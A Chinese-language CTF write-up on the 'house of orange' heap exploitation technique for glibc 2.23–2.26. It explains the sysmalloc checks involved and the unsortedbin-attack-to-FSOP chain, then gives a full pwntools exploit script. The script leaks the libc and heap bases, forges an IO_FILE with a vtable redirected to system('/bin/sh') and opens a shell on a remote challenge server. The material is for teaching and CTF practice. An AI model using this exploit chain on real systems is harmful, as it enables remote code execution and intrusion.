# houes-of-orange
前言:
在此之前,我们短暂的了解了 IO_FILE。而 houes-of-orange 是一套结合 IO_FILE 的组合拳,威力巨大,但影响版本有限,随说影响范围小,但是学习这种攻击手法,可以让我们对于 IO_FILE 更加熟悉。
漏洞成因
堆溢出写
适用范围
2.23
——2.26
- 没有
free
- 可以
unsortedbin attack
# 概要:
此攻击是堆与 IO 结合的组合拳,非常的经典。并且攻击中利用 top_chunk 的性质
# 绕过检测:
/* | |
Otherwise, relay to handle system-dependent cases | |
*/ | |
else { | |
void *p = sysmalloc(nb, av); | |
if (p != NULL && __builtin_expect (perturb_byte, 0)) | |
alloc_perturb (p, bytes); | |
return p; | |
} |
此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
assert((old_top == initial_top(av) && old_size == 0) || | |
((unsigned long) (old_size) >= MINSIZE && | |
prev_inuse(old_top) && | |
((unsigned long)old_end & pagemask) == 0)); |
-
malloc 的尺寸不能大于
mmp_.mmap_threshold
-
伪造的 size 必须要对齐到内存页
-
size 要大于 MINSIZE (0x10)
-
size 要小于之后申请的 chunk size + MINSIZE (0x10)
-
size 的 prev inuse 位必须为 1
之后就是 IO_FILE 的伪造过程
# 利用思路:
one:
stage1
- 申请
chunk A
,假设此时的top_chunk
的size
为0xWXYZ
- 写
A
,溢出修改top_chunk
的size
为0xXYZ
(需要满足页对齐的检测条件) - 申请一个大于
0xXYZ
大小的chunk
,此时top_chunk
会进行grow
,并将原来的old top_chunk
释放进入unsortedbin
stage2
- 溢出写
A
,修改处于unsortedbin
中的old top_chunk
,修改其size
为0x61
,其bk
为&_IO_list_all-0x10
,同时伪造好IO_FILE
结构 - 申请非
0x60
大小的chunk
的时候,首先触发unsortedbin attack
,将_IO_list_all
修改为main_arena+88
,然后unsortedbin chunk
会进入到smallbin
,大小为0x60
;接着遍历unsortedbin
的时候触发了malloc_printerr
,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp
,调用到伪造的vtable
里面的函数指针
# 例题:
CTF_Pwn_Game/home-of-orange at main · Yhuanhuan01/CTF_Pwn_Game (github.com)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF | |
unsigned __int64 v4; // [rsp+8h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
init(argc, argv, envp); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
menu(); | |
v3 = 0; | |
__isoc99_scanf("%d", &v3); | |
if ( v3 != 3 ) | |
break; | |
show(); | |
} | |
if ( v3 <= 3 ) | |
{ | |
if ( v3 == 1 ) | |
{ | |
add(); | |
} | |
else if ( v3 == 2 ) | |
{ | |
edit(); | |
} | |
} | |
} | |
} |
没有 free
,本能的想到 house-of-orange 的利用
unsigned __int64 edit() | |
{ | |
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF | |
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF | |
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u); | |
v1 = 0; | |
nbytes[0] = 0; | |
puts("Index :"); | |
__isoc99_scanf("%d", &v1); | |
puts("Size :");// 没规定 add 之后 size,可以溢出 | |
__isoc99_scanf("%d", nbytes); | |
if ( nbytes[0] > 0x1000u ) | |
{ | |
puts("too large"); | |
exit(0); | |
} | |
puts("Content :"); | |
read(0, *((void **)&chunk_ptr + v1), nbytes[0]); | |
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1]; |
unsigned __int64 show() | |
{ | |
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF | |
unsigned __int64 v2; // [rsp+8h] [rbp-8h] | |
v2 = __readfsqword(0x28u); | |
v1 = 0; | |
puts("Index :"); | |
__isoc99_scanf("%d", &v1); | |
write(1, *((const void **)&chunk_ptr + v1), 8uLL);// 只能读 8 字节,还是比较的刁钻的 | |
return __readfsqword(0x28u) ^ v2; | |
} |
进行 house-of-orange 需要 libcbase 和 heapbase,libcbase 好泄露,但是 heapbase 的泄露方法比较的麻烦,需要调整堆风水,将三次 unsortedbin 内的 top_chunk 都放到同一大小的 largebin 链表项内
泄露 libcbase
payload=b'a'*(0x408)+p64(0xbf1) | |
Add((0x400)) | |
Edi(0,len(payload),payload) | |
Add(0x1000) | |
Add(0x400) | |
show(2) | |
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672 |
将 old_top_chunk 放进 0x480-0x4b0
largebin 内
payload=padding(0x400)+p64(0)+p64(0x4b1) | |
Edi(2,len(payload),payload) | |
Add(0X600) |
然后用前面的思想再放两个这个 largebin 内
Add(0X500) | |
payload=b'a'*(0x508)+p64(0x4d1) | |
Edi(4,len(payload),payload) | |
Add(0x500) | |
payload=b'a'*(0x508)+p64(0xaf1) | |
Edi(5,len(payload),payload) | |
Add(0x1000) | |
Add(0X500) | |
Add(0x5b0) | |
Add(0x500) | |
payload=b'a'*(0x508)+p64(0xae1) | |
Edi(9,len(payload),payload) | |
Add(0x1000) | |
Add(0x600) | |
Add(0x521) |
调整堆风水泄露 heapbase
Add(0x4a0) | |
Add(0x500) | |
Add(0x500) | |
Add(0x500) | |
Add(0x500) | |
show(13) | |
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61 |
泄露完之后,就进行 FSOP 攻击。需要配合 unsortedbin attach
所以需要再次把 top_chunk
放置到 unsortedbin 内
payload = padding(0x4f8) + p64(0x181) | |
Add(0x4f8) | |
Edi(18,len(payload),payload) | |
Add(0x400) |
在索引第 19 个距离处于 unsortedbin 的 chunk 块较近,从这里写起,实现由 unsorted attach 的发起的 FSOP 攻击
p = b'B' * (0x400-0x20) | |
p += p64(0) | |
p += p64(0x21) | |
p += b'B' * 0x10 | |
# fake file | |
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh') | |
f += p64(0x61) # _IO_read_ptr small bin size | |
# unsoted bin attack | |
f += p64(0) # _IO_read_end) | |
f += p64(io_list_all - 0x10) # _IO_read_base | |
#bypass check | |
# 使 fp->_IO_write_base < fp->_IO_write_ptr 绕过检查 | |
f += p64(0) # _IO_write_base | |
f += p64(1) # _IO_write_ptr | |
f += p64(0) # _IO_write_end | |
f += p64(0) # _IO_buf_base | |
f += p64(0) # _IO_buf_end | |
f += p64(0) # _IO_save_base | |
f += p64(0) # _IO_backup_base | |
f += p64(0) # _IO_save_end | |
f += p64(0) # *_markers | |
f += p64(0) # *_chain | |
f += p32(0) # _fileno | |
f += p32(0) # _flags2 | |
f += p64(1) # _old_offset | |
f += p16(2) # ushort _cur_colum; | |
f += p8(3) # char _vtable_offset | |
f += p8(4) # char _shrotbuf[1] | |
f += p32(0) # null for alignment | |
f += p64(0) # _offset | |
f += p64(6) # _codecvt | |
f += p64(0) # _wide_data | |
f += p64(0) # _freeres_list | |
f += p64(0) # _freeres_buf | |
f += p64(0) # __pad5 | |
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0) | |
f += p32(0) # _unused2 | |
p += f | |
p += p64(0) * 3 # alignment to vtable | |
p += p64(heapbase + 0x23010+8) # vtable 指向自己 | |
p += p64(0) * 2 | |
p += p64(sys_addr) # _IO_overflow 位置改为 system | |
Edi(19,len(p),p) |
# 完整 exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc-2.23.so' | |
host, port = "110.40.35.73:33791".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def Mea(idx): | |
sla(b'>\n',str(idx)) | |
def Add(sz,ct=b'a'): | |
Mea(1) | |
sla(b'Size :\n',str(sz)) | |
sla(b'Content :\n',ct) | |
def Edi(idx,sz,ct): | |
Mea(2) | |
sla(b'Index :\n',str(idx)) | |
sla(b'Size :\n',str(sz)) | |
sla(b'Content :\n',ct) | |
def show(idx): | |
Mea(3) | |
sla(b'Index :\n',str(idx)) | |
payload=b'a'*(0x408)+p64(0xbf1) | |
Add((0x400)) | |
Edi(0,len(payload),payload) | |
Add(0x1000) | |
Add(0x400) | |
show(2) | |
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672 | |
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base | |
io_list_all=libc_base+libc.symbols['_IO_list_all'] | |
sys_addr=libc_base+libc.symbols['system'] | |
payload=padding(0x400)+p64(0)+p64(0x4b1) | |
Edi(2,len(payload),payload) | |
Add(0X600) | |
# debug() | |
Add(0X500) | |
payload=b'a'*(0x508)+p64(0x4d1) | |
Edi(4,len(payload),payload) | |
Add(0x500) | |
payload=b'a'*(0x508)+p64(0xaf1) | |
Edi(5,len(payload),payload) | |
Add(0x1000) | |
Add(0X500) | |
Add(0x5b0) | |
Add(0x500) | |
payload=b'a'*(0x508)+p64(0xae1) | |
Edi(9,len(payload),payload) | |
Add(0x1000) | |
Add(0x600) | |
Add(0x521) | |
# debug() | |
Add(0x4a0) | |
Add(0x500) | |
Add(0x500) | |
Add(0x500) | |
Add(0x500) | |
show(13) | |
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61 | |
lg('main_arena') | |
lg('heapbase') | |
lg('libc_base') | |
# pause() | |
p = b'B' * (0x400-0x20) | |
p += p64(0) | |
p += p64(0x21) | |
p += b'B' * 0x10 | |
# fake file | |
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh') | |
f += p64(0x61) # _IO_read_ptr small bin size | |
# unsoted bin attack | |
f += p64(0) # _IO_read_end) | |
f += p64(io_list_all - 0x10) # _IO_read_base | |
#bypass check | |
# 使 fp->_IO_write_base < fp->_IO_write_ptr 绕过检查 | |
f += p64(0) # _IO_write_base | |
f += p64(1) # _IO_write_ptr | |
f += p64(0) # _IO_write_end | |
f += p64(0) # _IO_buf_base | |
f += p64(0) # _IO_buf_end | |
f += p64(0) # _IO_save_base | |
f += p64(0) # _IO_backup_base | |
f += p64(0) # _IO_save_end | |
f += p64(0) # *_markers | |
f += p64(0) # *_chain | |
f += p32(0) # _fileno | |
f += p32(0) # _flags2 | |
f += p64(1) # _old_offset | |
f += p16(2) # ushort _cur_colum; | |
f += p8(3) # char _vtable_offset | |
f += p8(4) # char _shrotbuf[1] | |
f += p32(0) # null for alignment | |
f += p64(0) # _offset | |
f += p64(6) # _codecvt | |
f += p64(0) # _wide_data | |
f += p64(0) # _freeres_list | |
f += p64(0) # _freeres_buf | |
f += p64(0) # __pad5 | |
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0) | |
f += p32(0) # _unused2 | |
p += f | |
p += p64(0) * 3 # alignment to vtable | |
p += p64(heapbase + 0x23010+8) # vtable 指向自己 | |
p += p64(0) * 2 | |
p += p64(sys_addr) # _IO_overflow 位置改为 system | |
payload = padding(0x4f8) + p64(0x181) | |
Add(0x4f8) | |
Edi(18,len(payload),payload) | |
Add(0x400) | |
# debug() | |
Edi(19,len(p),p) | |
# debug() | |
Mea(1) | |
sla(b'Size :\n',str(0x1000)) | |
it() |
house-of-orange,其实难度不高。但是在影响以后的攻击起到了巨大的作用
参考
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/
https://blog.wjhwjhn.com/posts/house-of-orange - 学习记录 /
Glibc 堆利用之 house of 系列总结 - roderick - record and learn! (roderickchan.github.io)